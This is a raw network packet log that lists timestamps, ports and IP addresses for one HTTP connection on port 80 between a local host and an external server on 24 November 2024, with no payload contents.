Nov 24, 2024 12:24:16.592561007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.592611074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.592652082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.593425989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.593468904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.593543053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.593585968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.594415903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.594455957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.594464064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.594506979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.595325947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.595406055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.595412016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.595444918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.596167088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.596211910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.596232891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.596276045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.597134113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.597184896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.597419024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.597465992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.598067045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.598114014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.598135948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.598182917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.598948956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.598994017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.599066019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.599108934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.599864006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.599910021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.599961996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.600004911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.600786924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.600833893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.601000071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.601047039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.601689100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.601737976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.601850033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.601895094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.602572918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.602622032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.756516933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.756647110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.756717920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.757029057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.757105112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.876064062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.876081944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.876142025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.876703978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.876715899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.876756907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.876784086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997208118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997231007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997265100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997277975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997287989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997299910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997308016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997318983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997339010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997344971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997358084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997363091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997375011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997384071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997400999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997409105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997416973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997427940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997442007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997448921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997456074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997464895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997476101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997483969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997492075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997514963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997522116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997533083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997544050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997551918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997562885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997575998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997581005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997591019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997601986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997610092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997625113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997636080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997642994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997656107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997668028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997675896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997687101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997694969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997706890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997716904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997725964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997737885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997742891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997756004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997769117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997775078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997786045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997795105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997812033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997821093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997833967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997843981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997854948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997862101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997873068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997878075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997889996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997898102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997908115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997915983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997927904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997936964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997947931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997956038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997966051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997972012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.997982979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.997993946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998006105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998014927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998023987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998034954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998054028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998054028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998069048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998087883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998096943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998109102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998116016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998132944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998140097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998147011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998157978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998167038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998176098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998191118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998199940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998212099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998219013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998229980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998238087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998250008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998259068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998269081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998277903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998290062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998296022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998307943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998311996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998322964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998330116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998343945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998352051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998361111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998370886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998390913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998397112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998404980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998414040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998425961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998431921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998444080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998450994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998460054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998470068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998485088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998490095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998498917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998507977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998518944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998527050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998539925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998553991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998562098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998579979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998588085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998606920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998613119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998624086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998636961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998645067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998663902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998668909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998680115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998686075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998692036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998697042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998703957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998709917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998714924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998723984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998733997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998745918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998755932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998764992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998775005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998785019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998796940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998805046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998814106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998823881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998828888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998846054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998855114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998863935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998876095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998883963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998891115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998899937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998912096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998919010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998928070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998935938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998944998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998953104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998961926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998970032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998979092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.998982906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.998991966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999002934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999023914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999031067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999039888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999048948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999057055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999078035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999084949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999094963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999106884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999119043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999126911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999135971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999144077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999154091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999161959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999171019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999177933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999187946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999197006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999207973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999214888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999223948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999232054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999243975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999252081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999264002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999270916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999275923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999285936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999294043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999303102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999320030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999327898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999339104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999352932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999358892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999362946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999371052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999381065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999393940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999403000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999411106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999418020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999425888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999434948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999449968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999454975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999464035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999471903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999481916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999490023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999505043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999511003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999520063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999527931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999541044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999546051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999553919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999563932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999569893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999581099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999588966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999599934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999614954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999622107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999634027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999639034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999651909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999659061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999670982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999676943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999686003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999692917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999705076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999716997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999736071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999742985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999752998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999752998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999752998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999768019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999778032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999784946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999798059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999803066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999814987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999823093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999835968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999845028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999855042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999866009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999874115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999885082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999900103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999902010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999910116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999921083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999932051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999943018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999954939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999960899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999969006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999977112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.999985933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.999998093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000005960 CET	49765	80	192.168.2.4	31.41.244.11
